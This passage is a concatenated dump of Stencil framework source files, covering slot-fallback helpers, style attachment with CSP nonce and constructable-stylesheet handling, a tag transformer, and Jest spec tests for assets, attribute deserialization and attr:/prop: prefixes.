Then, it should be * conditionally hidden if: * * - it has a sibling with a `slot` property set to its slot name or if * - it is a default fallback slot node, in which case we hide if it has any * content * * @param elm the element of interest */ export const updateFallbackSlotVisibility = (elm: d.RenderNode) => { const childNodes = internalCall(elm, 'childNodes'); // is this is a stencil component? if (elm.tagName && elm.tagName.includes('-') && elm['s-cr'] && elm.tagName !== 'SLOT-FB') { // stencil component - try to find any slot fallback nodes getHostSlotNodes(childNodes as any, (elm as HTMLElement).tagName).forEach((slotNode) => { if (slotNode.nodeType === NODE_TYPE.ElementNode && slotNode.tagName === 'SLOT-FB') { // this is a slot fallback node if (getSlotChildSiblings(slotNode, getSlotName(slotNode), false).length) { // has slotted nodes, hide fallback slotNode.hidden = true; } else { // no slotted nodes slotNode.hidden = false; } } }); } let i = 0; for (i = 0; i < childNodes.length; i++) { const childNode = childNodes[i] as d.RenderNode; if (childNode.nodeType === NODE_TYPE.ElementNode && internalCall(childNode, 'childNodes').length) { // keep drilling down updateFallbackSlotVisibility(childNode); } } }; /** * Get's the child nodes of a component that are actually slotted. * It does this by using root nodes of a component; for each slotted node there is a * corresponding slot location node which points to the slotted node (via `['s-nr']`). * * This is only required until all patches are unified / switched on all the time (then we can rely on `childNodes`) * either under 'experimentalSlotFixes' or on by default * @param childNodes all 'internal' child nodes of the component * @returns An array of slotted reference nodes. */ export const getSlottedChildNodes = (childNodes: NodeListOf): d.PatchedSlotNode[] => { const result: d.PatchedSlotNode[] = []; for (let i = 0; i < childNodes.length; i++) { const slottedNode = ((childNodes[i] as d.RenderNode)['s-nr'] as d.PatchedSlotNode) || undefined; if (slottedNode && slottedNode.isConnected) { result.push(slottedNode); } } return result; }; /** * Recursively searches a series of child nodes for slot node/s, optionally with a provided slot name. * @param childNodes the nodes to search for a slot with a specific name. Should be an element's root nodes. * @param hostName the host name of the slot to match on. * @param slotName the name of the slot to match on. * @returns a reference to the slot node that matches the provided name, `null` otherwise */ export function getHostSlotNodes(childNodes: NodeListOf, hostName?: string, slotName?: string) { let i = 0; let slottedNodes: d.RenderNode[] = []; let childNode: d.RenderNode; for (; i < childNodes.length; i++) { childNode = childNodes[i] as any; if ( childNode['s-sr'] && (!hostName || childNode['s-hn'] === hostName) && (slotName === undefined || getSlotName(childNode) === slotName) ) { slottedNodes.push(childNode); if (typeof slotName !== 'undefined') return slottedNodes; } slottedNodes = [...slottedNodes, ...getHostSlotNodes(childNode.childNodes, hostName, slotName)]; } return slottedNodes; } /** * Get all 'child' sibling nodes of a slot node * @param slot - the slot node to get the child nodes from * @param slotName - the name of the slot to match on * @param includeSlot - whether to include the slot node in the result * @returns child nodes of the slot node */ export const getSlotChildSiblings = (slot: d.RenderNode, slotName: string, includeSlot = true) => { const childNodes: d.RenderNode[] = []; if ((includeSlot && slot['s-sr']) || !slot['s-sr']) childNodes.push(slot as any); let node = slot; while ((node = node.nextSibling as any)) { if (getSlotName(node) === slotName && (includeSlot || !node['s-sr'])) childNodes.push(node as any); } return childNodes; }; /** * Check whether a node is located in a given named slot. * * @param nodeToRelocate the node of interest * @param slotName the slot name to check * @returns whether the node is located in the slot or not */ export const isNodeLocatedInSlot = (nodeToRelocate: d.RenderNode, slotName: string): boolean => { if (nodeToRelocate.nodeType === NODE_TYPE.ElementNode) { if (nodeToRelocate.getAttribute('slot') === null && slotName === '') { // if the node doesn't have a slot attribute, and the slot we're checking // is not a named slot, then we assume the node should be within the slot return true; } if (nodeToRelocate.getAttribute('slot') === slotName) { return true; } return false; } if (nodeToRelocate['s-sn'] === slotName) { return true; } return slotName === ''; }; /** * Creates an empty text node to act as a forwarding address to a slotted node: * 1) When non-shadow components re-render, they need a place to temporarily put 'lightDOM' elements. * 2) Patched dom methods and accessors use this node to calculate what 'lightDOM' nodes are in the host. * * @param newChild a node that's going to be added to the component * @param slotNode the slot node that the node will be added to * @param prepend move the slotted location node to the beginning of the host * @param position an ordered position to add the ref node which mirrors the lightDom nodes' order. Used during SSR hydration * (the order of the slot location nodes determines the order of the slotted nodes in our patched accessors) */ export const addSlotRelocateNode = ( newChild: d.PatchedSlotNode, slotNode: d.RenderNode, prepend?: boolean, position?: number, ) => { if (newChild['s-ol'] && newChild['s-ol'].isConnected) { // newChild already has a slot location node return; } const slottedNodeLocation = document.createTextNode('') as any; slottedNodeLocation['s-nr'] = newChild; // if there's no content reference node, or parentNode we can't do anything if (!slotNode['s-cr'] || !slotNode['s-cr'].parentNode) return; const parent = slotNode['s-cr'].parentNode as any; const appendMethod = prepend ? internalCall(parent, 'prepend') : internalCall(parent, 'appendChild'); if (BUILD.hydrateClientSide && typeof position !== 'undefined') { slottedNodeLocation['s-oo'] = position; const childNodes = internalCall(parent, 'childNodes') as NodeListOf; const slotRelocateNodes: d.RenderNode[] = [slottedNodeLocation]; childNodes.forEach((n) => { if (n['s-nr']) slotRelocateNodes.push(n); }); slotRelocateNodes.sort((a, b) => { if (!a['s-oo'] || a['s-oo'] < (b['s-oo'] || 0)) return -1; else if (!b['s-oo'] || b['s-oo'] < a['s-oo']) return 1; return 0; }); slotRelocateNodes.forEach((n) => appendMethod.call(parent, n)); } else { appendMethod.call(parent, slottedNodeLocation); } newChild['s-ol'] = slottedNodeLocation; newChild['s-sh'] = slotNode['s-hn']; }; export const getSlotName = (node: d.PatchedSlotNode) => typeof node['s-sn'] === 'string' ? node['s-sn'] : (node.nodeType === 1 && (node as Element).getAttribute('slot')) || undefined; /** * Add `assignedElements` and `assignedNodes` methods on a fake slot node * * @param node - slot node to patch */ export function patchSlotNode(node: d.RenderNode) { if ((node as any).assignedElements || (node as any).assignedNodes || !node['s-sr']) return; const assignedFactory = (elementsOnly: boolean) => function (opts?: { flatten: boolean }) { const toReturn: d.RenderNode[] = []; const slotName = this['s-sn']; if (opts?.flatten) { console.error(` Flattening is not supported for Stencil non-shadow slots. You can use \`.childNodes\` to nested slot fallback content. If you have a particular use case, please open an issue on the Stencil repo. `); } const parent = this['s-cr'].parentElement as d.RenderNode; // get all light dom nodes const slottedNodes = parent.__childNodes ? parent.childNodes : getSlottedChildNodes(parent.childNodes); (slottedNodes as d.RenderNode[]).forEach((n) => { // find all the nodes assigned to slots we care about if (slotName === getSlotName(n)) { toReturn.push(n); } }); if (elementsOnly) { return toReturn.filter((n) => n.nodeType === NODE_TYPE.ElementNode); } return toReturn; }.bind(node); (node as any).assignedElements = assignedFactory(true); (node as any).assignedNodes = assignedFactory(false); } /** * Dispatches a `slotchange` event on a fake `` node. * * @param elm the slot node to dispatch the event from */ export function dispatchSlotChangeEvent(elm: d.RenderNode) { elm.dispatchEvent(new CustomEvent('slotchange', { bubbles: false, cancelable: false, composed: false })); } /** * Find the slot node that a slotted node belongs to * * @param slottedNode - the slotted node to find the slot for * @param parentHost - the parent host element of the slotted node * @returns the slot node and slot name */ export function findSlotFromSlottedNode(slottedNode: d.PatchedSlotNode, parentHost?: HTMLElement) { parentHost = parentHost || slottedNode['s-ol']?.parentElement; if (!parentHost) return { slotNode: null, slotName: '' }; const slotName = (slottedNode['s-sn'] = getSlotName(slottedNode) || ''); const childNodes = internalCall(parentHost, 'childNodes'); const slotNode = getHostSlotNodes(childNodes, parentHost.tagName, slotName)[0]; return { slotNode, slotName }; } ================================================ FILE: src/runtime/styles.ts ================================================ import { BUILD } from '@app-data'; import { plt, styles, supportsConstructableStylesheets, supportsMutableAdoptedStyleSheets, supportsShadow, win, writeTask, } from '@platform'; import type * as d from '../declarations'; import { CMP_FLAGS } from '../utils/constants'; import { queryNonceMetaTagContent } from '../utils/query-nonce-meta-tag-content'; import { createTime } from './profile'; import { HYDRATED_STYLE_ID, NODE_TYPE, SLOT_FB_CSS } from './runtime-constants'; export const rootAppliedStyles: d.RootAppliedStyleMap = /*@__PURE__*/ new WeakMap(); /** * Register the styles for a component by creating a stylesheet and then * registering it under the component's scope ID in a `WeakMap` for later use. * * If constructable stylesheet are not supported or `allowCS` is set to * `false` then the styles will be registered as a string instead. * * @param scopeId the scope ID for the component of interest * @param cssText styles for the component of interest * @param allowCS whether or not to use a constructable stylesheet */ export const registerStyle = (scopeId: string, cssText: string, allowCS: boolean) => { let style = styles.get(scopeId); if (supportsConstructableStylesheets && allowCS) { style = (style || new CSSStyleSheet()) as CSSStyleSheet; if (typeof style === 'string') { style = cssText; } else { style.replaceSync(cssText); } } else { style = cssText; } styles.set(scopeId, style); }; /** * Attach the styles for a given component to the DOM * * If the element uses shadow or is already attached to the DOM then we can * create a stylesheet inside of its associated document fragment, otherwise * we'll stick the stylesheet into the document head. * * @param styleContainerNode the node within which a style element for the * component of interest should be added * @param cmpMeta runtime metadata for the component of interest * @param mode an optional current mode * @returns the scope ID for the component of interest */ export const addStyle = (styleContainerNode: any, cmpMeta: d.ComponentRuntimeMeta, mode?: string) => { const scopeId = getScopeId(cmpMeta, mode); const style = styles.get(scopeId); if (!BUILD.attachStyles || !win.document) { return scopeId; } // if an element is NOT connected then getRootNode() will return the wrong root node // so the fallback is to always use the document for the root node in those cases styleContainerNode = styleContainerNode.nodeType === NODE_TYPE.DocumentFragment ? styleContainerNode : win.document; if (style) { if (typeof style === 'string') { styleContainerNode = styleContainerNode.head || (styleContainerNode as HTMLElement); let appliedStyles = rootAppliedStyles.get(styleContainerNode); let styleElm; if (!appliedStyles) { rootAppliedStyles.set(styleContainerNode, (appliedStyles = new Set())); } // Check if style element already exists (for HMR updates) // For shadow DOM components, directly update their dedicated style element // For scoped components, check if they have their own HMR-created style element const existingStyleElm: HTMLStyleElement = (BUILD.hydrateClientSide || BUILD.hotModuleReplacement) && styleContainerNode.querySelector(`[${HYDRATED_STYLE_ID}="${scopeId}"]`); if (existingStyleElm) { // Update existing style element (for hydration or HMR) existingStyleElm.textContent = style; } else if (!appliedStyles.has(scopeId)) { styleElm = win.document.createElement('style'); styleElm.textContent = style; // Apply CSP nonce to the style tag if it exists const nonce = plt.$nonce$ ?? queryNonceMetaTagContent(win.document); if (nonce != null) { styleElm.setAttribute('nonce', nonce); } if ( (BUILD.hydrateServerSide || BUILD.hotModuleReplacement) && (cmpMeta.$flags$ & CMP_FLAGS.scopedCssEncapsulation || cmpMeta.$flags$ & CMP_FLAGS.shadowNeedsScopedCss || cmpMeta.$flags$ & CMP_FLAGS.shadowDomEncapsulation) ) { styleElm.setAttribute(HYDRATED_STYLE_ID, scopeId); } /** * attach styles at the end of the head tag if we render scoped components */ if (!(cmpMeta.$flags$ & CMP_FLAGS.shadowDomEncapsulation)) { if (styleContainerNode.nodeName === 'HEAD') { /** * if the page contains preconnect links, we want to insert the styles * after the last preconnect link to ensure the styles are preloaded */ const preconnectLinks = styleContainerNode.querySelectorAll('link[rel=preconnect]'); const referenceNode = preconnectLinks.length > 0 ? preconnectLinks[preconnectLinks.length - 1].nextSibling : styleContainerNode.querySelector('style'); (styleContainerNode as HTMLElement).insertBefore( styleElm, referenceNode?.parentNode === styleContainerNode ? referenceNode : null, ); } else if ('host' in styleContainerNode) { if (supportsConstructableStylesheets) { /** * If a scoped component is used within a shadow root then turn the styles into a * constructable stylesheet and add it to the shadow root's adopted stylesheets. * * Note: order of how styles are adopted is important. The new stylesheet should be * adopted before the existing styles. * * Note: constructable stylesheets can't be shared between windows, * we need to create a new one for the current window if necessary */ const currentWindow = styleContainerNode.defaultView ?? styleContainerNode.ownerDocument.defaultView; const stylesheet = new currentWindow.CSSStyleSheet(); stylesheet.replaceSync(style); /** * > If the array needs to be modified, use in-place mutations like push(). * https://developer.mozilla.org/en-US/docs/Web/API/Document/adoptedStyleSheets */ if (supportsMutableAdoptedStyleSheets) { styleContainerNode.adoptedStyleSheets.unshift(stylesheet); } else { styleContainerNode.adoptedStyleSheets = [stylesheet, ...styleContainerNode.adoptedStyleSheets]; } } else { /** * If a scoped component is used within a shadow root and constructable stylesheets are * not supported, we want to insert the styles at the beginning of the shadow root node. * * However, if there is already a style node in the shadow root, we just append * the styles to the existing node. * * Note: order of how styles are applied is important. The new style node * should be inserted before the existing style node. * * During HMR, create separate style elements for scoped components so they can be * updated independently without affecting other components' styles. */ const existingStyleContainer: HTMLStyleElement = styleContainerNode.querySelector('style'); if (existingStyleContainer && !BUILD.hotModuleReplacement) { existingStyleContainer.textContent = style + existingStyleContainer.textContent; } else { (styleContainerNode as HTMLElement).prepend(styleElm); } } } else { styleContainerNode.append(styleElm); } } /** * attach styles at the beginning of a shadow root node if we render shadow components */ if (cmpMeta.$flags$ & CMP_FLAGS.shadowDomEncapsulation) { styleContainerNode.insertBefore(styleElm, null); } // Add styles for `slot-fb` elements if we're using slots outside the Shadow DOM if (cmpMeta.$flags$ & CMP_FLAGS.hasSlotRelocation) { styleElm.textContent += SLOT_FB_CSS; } if (appliedStyles) { appliedStyles.add(scopeId); } } } else if (BUILD.constructableCSS) { let appliedStyles = rootAppliedStyles.get(styleContainerNode); if (!appliedStyles) { rootAppliedStyles.set(styleContainerNode, (appliedStyles = new Set())); } if (!appliedStyles.has(scopeId)) { /** * Constructable stylesheets can't be shared between windows, * we need to create a new one for the current window if necessary */ const currentWindow = styleContainerNode.defaultView ?? styleContainerNode.ownerDocument.defaultView; let stylesheet: CSSStyleSheet; if (style.constructor === currentWindow.CSSStyleSheet) { stylesheet = style; } else { stylesheet = new currentWindow.CSSStyleSheet(); for (let i = 0; i < style.cssRules.length; i++) { stylesheet.insertRule(style.cssRules[i].cssText, i); } } /** * > If the array needs to be modified, use in-place mutations like push(). * https://developer.mozilla.org/en-US/docs/Web/API/Document/adoptedStyleSheets */ if (supportsMutableAdoptedStyleSheets) { styleContainerNode.adoptedStyleSheets.push(stylesheet); } else { styleContainerNode.adoptedStyleSheets = [...styleContainerNode.adoptedStyleSheets, stylesheet]; } appliedStyles.add(scopeId); // Remove SSR style element from shadow root now that adoptedStyleSheets is in use // Only remove from shadow roots, not from document head (for scoped components) if (BUILD.hydrateClientSide && 'host' in styleContainerNode) { const ssrStyleElm = styleContainerNode.querySelector(`[${HYDRATED_STYLE_ID}="${scopeId}"]`); if (ssrStyleElm) { writeTask(() => ssrStyleElm.remove()); } } } } } return scopeId; }; /** * Add styles for a given component to the DOM, optionally handling 'scoped' * encapsulation by adding an appropriate class name to the host element. * * @param hostRef the host reference for the component of interest */ export const attachStyles = (hostRef: d.HostRef) => { const cmpMeta = hostRef.$cmpMeta$; const elm = hostRef.$hostElement$; const flags = cmpMeta.$flags$; const endAttachStyles = createTime('attachStyles', cmpMeta.$tagName$); const scopeId = addStyle( BUILD.shadowDom && supportsShadow && elm.shadowRoot ? elm.shadowRoot : (elm.getRootNode() as ShadowRoot), cmpMeta, hostRef.$modeName$, ); if ((BUILD.shadowDom || BUILD.scoped) && BUILD.cssAnnotations && flags & CMP_FLAGS.needsScopedEncapsulation) { // only required when we're NOT using native shadow dom (slot) // or this browser doesn't support native shadow dom // and this host element was NOT created with SSR // let's pick out the inner content for slot projection // create a node to represent where the original // content was first placed, which is useful later on // DOM WRITE!! elm['s-sc'] = scopeId; elm.classList.add(scopeId + '-h'); } endAttachStyles(); }; /** * Get the scope ID for a given component * * @param cmp runtime metadata for the component of interest * @param mode the current mode (optional) * @returns a scope ID for the component of interest */ export const getScopeId = (cmp: d.ComponentRuntimeMeta, mode?: string) => 'sc-' + (BUILD.mode && mode && cmp.$flags$ & CMP_FLAGS.hasMode ? cmp.$tagName$ + '-' + mode : cmp.$tagName$); /** * Convert a 'scoped' CSS string to one appropriate for use in the shadow DOM. * * Given a 'scoped' CSS string that looks like this: * * ``` * /*!@div*\/div.class-name { display: flex }; * ``` * * Convert it to a 'shadow' appropriate string, like so: * * ``` * /*!@div*\/div.class-name { display: flex } * ─┬─ ────────┬──────── * │ │ * │ ┌─────────────────┘ * ▼ ▼ * div{ display: flex } * ``` * * Note that forward-slashes in the above are escaped so they don't end the * comment. * * @param css a CSS string to convert * @returns the converted string */ export const convertScopedToShadow = (css: string) => css.replace(/\/\*!@([^\/]+)\*\/[^\{]+\{/g, '$1{'); /** * Hydrate styles after SSR for components *not* using DSD. Convert 'scoped' styles to 'shadow' * and add them to a constructable stylesheet. */ export const hydrateScopedToShadow = () => { if (!win.document) { return; } const styles = win.document.querySelectorAll(`[${HYDRATED_STYLE_ID}]`); let i = 0; for (; i < styles.length; i++) { registerStyle(styles[i].getAttribute(HYDRATED_STYLE_ID), convertScopedToShadow(styles[i].innerHTML), true); } }; declare global { export interface CSSStyleSheet { replaceSync(cssText: string): void; replace(cssText: string): Promise; } } ================================================ FILE: src/runtime/tag-transform.ts ================================================ import type * as d from '../declarations'; export let tagTransformer: d.TagTransformer | undefined = undefined; /** * Transforms a tag name using the current tag transformer * @param tag - the tag to transform e.g. `my-tag` * @returns the transformed tag e.g. `new-my-tag` */ export function transformTag(tag: T): T { if (!tagTransformer) return tag; return tagTransformer(tag) as T; } /** * Sets the tag transformer to be used when rendering custom elements * @param transformer the transformer function to use. Must return a string */ export function setTagTransformer(transformer: d.TagTransformer) { if (tagTransformer) { console.warn(` A tagTransformer has already been set. Overwriting it may lead to error and unexpected results if your components have already been defined. `); } tagTransformer = transformer; } ================================================ FILE: src/runtime/test/assets.spec.tsx ================================================ import { getAssetPath } from '@stencil/core'; import { newSpecPage } from '@stencil/core/testing'; import { CmpAsset } from './fixtures/cmp-asset'; describe('assets', () => { it('should load asset data', async () => { const page = await newSpecPage({ components: [CmpAsset], html: ``, }); expect(page.root).toEqualHtml(` `); }); it('getAssetPath is defined', async () => { expect(getAssetPath).toBeDefined(); }); }); ================================================ FILE: src/runtime/test/attr-deserialize.spec.tsx ================================================ import { AttrDeserialize, Component, Element, Prop, State } from '@stencil/core'; import { newSpecPage } from '@stencil/core/testing'; import { withSilentWarn } from '../../testing/testing-utils'; describe('attribute deserialization', () => { it('deserializer is called each time a attribute changes', async () => { @Component({ tag: 'cmp-a' }) class CmpA { method1Called = 0; method2Called = 0; @Prop() prop1 = 1; @State() someState = 'hello'; @AttrDeserialize('prop1') @AttrDeserialize('someState') method1(newValue: any) { this.method1Called++; return newValue; } @AttrDeserialize('prop1') method2(newValue: any) { this.method2Called++; return newValue; } componentDidLoad() { // deserializer called during component load as prop is set via attribute expect(this.method1Called).toBe(1); expect(this.method2Called).toBe(1); expect(this.prop1).toBe(123); expect(this.someState).toBe('hello'); } } const { root, rootInstance, waitForChanges } = await newSpecPage({ components: [CmpA], html: ``, }); jest.spyOn(rootInstance, 'method1'); jest.spyOn(rootInstance, 'method2'); // spies were wired up after initial load expect(rootInstance.method1Called).toBe(1); expect(rootInstance.method2Called).toBe(1); // prop changes should not call deserializers root.prop1 = 100; await waitForChanges(); expect(rootInstance.method1Called).toBe(1); expect(rootInstance.method2Called).toBe(1); // attribute change root.setAttribute('prop-1', '200'); await waitForChanges(); expect(rootInstance.method1Called).toBe(2); expect(rootInstance.method2Called).toBe(2); expect(rootInstance.method1).toHaveBeenLastCalledWith('200', 'prop1'); expect(rootInstance.method2).toHaveBeenLastCalledWith('200', 'prop1'); expect(root.prop1).toBe(200); // deserializer should not be called on state change rootInstance.someState = 'bye'; await waitForChanges(); expect(rootInstance.method1Called).toBe(2); expect(rootInstance.method2Called).toBe(2); }); it('should watch for changes correctly', async () => { @Component({ tag: 'cmp-a' }) class CmpA { watchCalled = 0; @Element() host!: HTMLElement; @Prop() prop = 10; @Prop() value = 10; @AttrDeserialize('prop') @AttrDeserialize('value') method() { this.watchCalled++; } componentWillLoad() { // deserializer called during component load as prop is set via attribute expect(this.watchCalled).toBe(1); this.host.setAttribute('prop', '1'); expect(this.watchCalled).toBe(2); this.host.setAttribute('value', '1'); expect(this.watchCalled).toBe(3); } componentDidLoad() { expect(this.watchCalled).toBe(3); // setting the same value should not trigger the deserializer this.host.setAttribute('prop', '1'); this.host.setAttribute('value', '1'); expect(this.watchCalled).toBe(3); this.host.setAttribute('prop', '20'); this.host.setAttribute('value', '30'); expect(this.watchCalled).toBe(5); } } const { root, rootInstance } = await withSilentWarn(() => newSpecPage({ components: [CmpA], html: ``, }), ); expect(rootInstance.watchCalled).toBe(5); jest.spyOn(rootInstance, 'method'); // trigger updates in element root.setAttribute('prop', '1000'); expect(rootInstance.method).toHaveBeenLastCalledWith('1000', 'prop'); root.setAttribute('value', '1300'); expect(rootInstance.method).toHaveBeenLastCalledWith('1300', 'value'); }); it('deserializer correctly changes the property', async () => { @Component({ tag: 'cmp-a' }) class CmpA { @Prop({ reflect: true }) prop1 = 1; @Prop() jsonProp = { a: 1, b: 'hello' }; @AttrDeserialize('prop1') method1(newValue: any) { if (newValue === 'something') { return 1000; } return newValue; } @AttrDeserialize('jsonProp') method2(newValue: any) { try { return JSON.parse(newValue); } catch (e) { return newValue; } } } const { root, rootInstance, waitForChanges } = await newSpecPage({ components: [CmpA], html: ``, }); jest.spyOn(rootInstance, 'method1'); jest.spyOn(rootInstance, 'method2'); // set same values, deserializer should not be called ('cos the prop is reflected) root.setAttribute('prop-1', '1'); expect(rootInstance.method1).toHaveBeenCalledTimes(0); expect(rootInstance.method2).toHaveBeenCalledTimes(0); expect(root.prop1).toBe(1); // set different values root.setAttribute('prop-1', '100'); await waitForChanges(); expect(rootInstance.method1).toHaveBeenCalledTimes(1); expect(root.prop1).toBe(100); // special handling by deserializer root.setAttribute('prop-1', 'something'); await waitForChanges(); // because the special handling returns a different value (1000) and the prop is reflected // the deserializer is called again to reflect the new value expect(rootInstance.method1).toHaveBeenCalledTimes(3); expect(root.prop1).toBe(1000); root.setAttribute('json-prop', '{"a":99,"b":"bye"}'); await waitForChanges(); expect(rootInstance.method2).toHaveBeenCalledTimes(1); expect(root.jsonProp).toEqual({ a: 99, b: 'bye' }); root.setAttribute('json-prop', '["item1","item2","item3"]'); await waitForChanges(); expect(rootInstance.method2).toHaveBeenCalledTimes(2); expect(root.jsonProp).toEqual(['item1', 'item2', 'item3']); const invalidJson = '{"invalid": json}'; root.setAttribute('json-prop', invalidJson); await waitForChanges(); expect(rootInstance.method2).toHaveBeenCalledTimes(3); expect(root.jsonProp).toEqual(invalidJson); const regularString = 'hello world'; root.setAttribute('json-prop', regularString); await waitForChanges(); expect(rootInstance.method2).toHaveBeenCalledTimes(4); expect(root.jsonProp).toEqual(regularString); }); }); ================================================ FILE: src/runtime/test/attr-prop-prefix.spec.tsx ================================================ import { Component, h, Prop } from '@stencil/core'; import { newSpecPage } from '@stencil/core/testing'; describe('attr: and prop: prefix', () => { describe('attr: prefix', () => { it('should set attribute using attr: prefix', async () => { @Component({ tag: 'cmp-a' }) class CmpA { render() { return
; } } const { root } = await newSpecPage({ components: [CmpA], html: ``, }); const div = root.querySelector('div'); expect(div.getAttribute('something')).toBe('test label'); }); it('should set numeric and stringified values as attributes', async () => { @Component({ tag: 'cmp-a' }) class CmpA { render() { return
; } } const { root } = await newSpecPage({ components: [CmpA], html: ``, }); const div = root.querySelector('div'); expect(div.getAttribute('something-else')).toBe('button'); expect(div.getAttribute('a-number')).toBe('0'); }); it('should set boolean true as empty string attribute', async () => { @Component({ tag: 'cmp-a' }) class CmpA { render() { return
; } } const { root } = await newSpecPage({ components: [CmpA], html: ``, }); const div = root.querySelector('div'); expect(div.getAttribute('boolean')).toBe(''); expect(div.hasAttribute('boolean')).toBe(true); }); it('should remove attribute when value is false', async () => { @Component({ tag: 'cmp-a' }) class CmpA { @Prop() show = false; render() { return
; } } const { root, waitForChanges } = await newSpecPage({ components: [CmpA], html: ``, }); const div = root.querySelector('div'); expect(div.hasAttribute('boolean')).toBe(false); root.show = true; await waitForChanges(); expect(div.getAttribute('boolean')).toBe(''); root.show = false; await waitForChanges(); expect(div.hasAttribute('boolean')).toBe(false); }); it('should force attribute even for properties that exist on element', async () => { @Component({ tag: 'cmp-a' }) class CmpA { render() { return ; } } const { root } = await newSpecPage({ components: [CmpA], html: ``, }); const input = root.querySelector('input'); expect(input.getAttribute('value')).toBe('500px'); expect(input.value).toBe('500px'); // property remains unset }); it('should update attribute on re-render', async () => { @Component({ tag: 'cmp-a' }) class CmpA { @Prop() label = 'initial'; render() { return
; } } const { root, waitForChanges } = await newSpecPage({ components: [CmpA], html: ``, }); const div = root.querySelector('div'); expect(div.getAttribute('some-label')).toBe('initial'); root.label = 'updated'; await waitForChanges(); expect(div.getAttribute('some-label')).toBe('updated'); }); it('should use the correct attribute name for camelCase properties on Stencil components', async () => { @Component({ tag: 'cmp-child' }) class CmpChild { @Prop() overlayIndex: number; @Prop({ attribute: 'custom-attr-name' }) customAttr: string; render() { return (
overlayIndex: {this.overlayIndex}, customAttr: {this.customAttr}
); } } @Component({ tag: 'cmp-parent' }) class CmpParent { render() { return (
); } } const { root } = await newSpecPage({ components: [CmpParent, CmpChild], html: ``, }); const child = root.querySelector('cmp-child'); // Should use kebab-case attribute name from metadata expect(child.getAttribute('overlay-index')).toBe('42'); expect(child.overlayIndex).toBe(42); // Should use custom attribute name from @Prop decorator expect(child.getAttribute('custom-attr-name')).toBe('test'); expect(child.customAttr).toBe('test'); // Should not set incorrect camelCase attribute names expect(child.hasAttribute('overlayIndex')).toBe(false); expect(child.hasAttribute('customAttr')).toBe(false); }); it('should convert camelCase to kebab-case for non-Stencil elements', async () => { @Component({ tag: 'cmp-a' }) class CmpA { render() { return
; } } const { root } = await newSpecPage({ components: [CmpA], html: ``, }); const div = root.querySelector('div'); // Should convert camelCase to kebab-case expect(div.getAttribute('data-test-id')).toBe('test-123'); expect(div.getAttribute('aria-label')).toBe('Test Label'); expect(div.getAttribute('custom-attribute')).toBe('value'); // Should not set camelCase versions expect(div.hasAttribute('dataTestId')).toBe(false); expect(div.hasAttribute('ariaLabel')).toBe(false); expect(div.hasAttribute('customAttribute')).toBe(false); }); }); describe('prop: prefix', () => { it('should set property using prop: prefix', async () => { @Component({ tag: 'cmp-a' }) class CmpA { render() { return ; } } const { root } = await newSpecPage({ components: [CmpA], html: ``, }); const input = root.querySelector('input'); expect(input.value).toBe('test value'); }); it('should set complex types as properties', async () => { @Component({ tag: 'cmp-a' }) class CmpA { render() { const data = { foo: 'bar', items: [1, 2, 3] }; return
; } } const { root } = await newSpecPage({ components: [CmpA], html: ``, }); const div = root.querySelector('div') as any; expect(div.customData).toEqual({ foo: 'bar', items: [1, 2, 3] }); expect(div.customData.foo).toBe('bar'); }); it('should set array as property', async () => { @Component({ tag: 'cmp-a' }) class CmpA { render() { return
; } } const { root } = await newSpecPage({ components: [CmpA], html: ``, }); const div = root.querySelector('div') as any; expect(Array.isArray(div.items)).toBe(true); expect(div.items).toEqual([1, 2, 3]); }); it('should not set attribute when using prop: prefix', async () => { @Component({ tag: 'cmp-a' }) class CmpA { render() { return
; } } const { root } = await newSpecPage({ components: [CmpA], html: ``, }); const div = root.querySelector('div') as any; expect(div.customProp).toBe('test'); expect(div.hasAttribute('customProp')).toBe(false); expect(div.hasAttribute('custom-prop')).toBe(false); }); it('should update property on re-render', async () => { @Component({ tag: 'cmp-a' }) class CmpA { @Prop() data = { count: 0 }; render() { return
; } } const { root, waitForChanges } = await newSpecPage({ components: [CmpA], html: ``, }); const div = root.querySelector('div') as any; expect(div.myData).toEqual({ count: 0 }); root.data = { count: 42 }; await waitForChanges(); expect(div.myData).toEqual({ count: 42 }); }); it('should set null as property', async () => { @Component({ tag: 'cmp-a' }) class CmpA { @Prop() value: string | null = null; render() { return
; } } const { root } = await newSpecPage({ components: [CmpA], html: ``, }); const div = root.querySelector('div') as any; expect(div.myProp).toBe(null); }); }); describe('mixed usage', () => { it('should work with both attr: and prop: alongside normal attributes', async () => { @Component({ tag: 'cmp-a' }) class CmpA { render() { return
; } } const { root } = await newSpecPage({ components: [CmpA], html: ``, }); const div = root.querySelector('div') as any; expect(div.id).toBe('normal-id'); expect(div.className).toBe('normal-class'); expect(div.getAttribute('role')).toBe('button'); expect(div.customData).toEqual({ value: 123 }); }); it('should handle multiple attr: and prop: prefixes', async () => { @Component({ tag: 'cmp-a' }) class CmpA { render() { return
; } } const { root } = await newSpecPage({ components: [CmpA], html: ``, }); const div = root.querySelector('div') as any; expect(div.getAttribute('aria-label')).toBe('Label'); expect(div.getAttribute('role')).toBe('button'); expect(div.propOne).toBe('a'); expect(div.propTwo).toBe('b'); }); it('should work on Stencil components with props', async () => { @Component({ tag: 'cmp-child' }) class CmpChild { @Prop() normalProp: string; @Prop() complexData: any; render() { return (
{this.normalProp} - {JSON.stringify(this.complexData)}
); } } @Component({ tag: 'cmp-parent' }) class CmpParent { render() { return ; } } const { root } = await newSpecPage({ components: [CmpParent, CmpChild], html: ``, }); const child = root.querySelector('cmp-child'); expect(child.normalProp).toBe('via-normal'); expect(child.complexData).toEqual({ test: 'data' }); expect(child.textContent.trim()).toBe('via-normal - {"test":"data"}'); }); it('should re-render correctly with prefixed attributes', async () => { @Component({ tag: 'cmp-a' }) class CmpA { @Prop() attrValue = 'initial'; @Prop() propValue = { count: 0 }; render() { return
; } } const { root, waitForChanges } = await newSpecPage({ components: [CmpA], html: ``, }); const div = root.querySelector('div') as any; expect(div.getAttribute('aria-label')).toBe('initial'); expect(div.customProp).toEqual({ count: 0 }); root.attrValue = 'updated'; root.propValue = { count: 42 }; await waitForChanges(); expect(div.getAttribute('aria-label')).toBe('updated'); expect(div.customProp).toEqual({ count: 42 }); }); }); }); ================================================ FILE: src/runtime/test/attr.spec.tsx ================================================ import { Component, Element, h, Host, Prop } from '@stencil/core'; import { newSpecPage } from '@stencil/core/testing'; describe('attribute', () => { it('multi-word attribute', async () => { @Component({ tag: 'cmp-a' }) class CmpA { @Prop() multiWord: string; render() { return `${this.multiWord}`; } } const { root } = await newSpecPage({ components: [CmpA], html: ``, }); expect(root).toEqualHtml(` multi-word `); expect(root.textContent).toBe('multi-word'); expect(root.multiWord).toBe('multi-word'); }); it('custom attribute name', async () => { @Component({ tag: 'cmp-a' }) class CmpA { @Prop({ attribute: 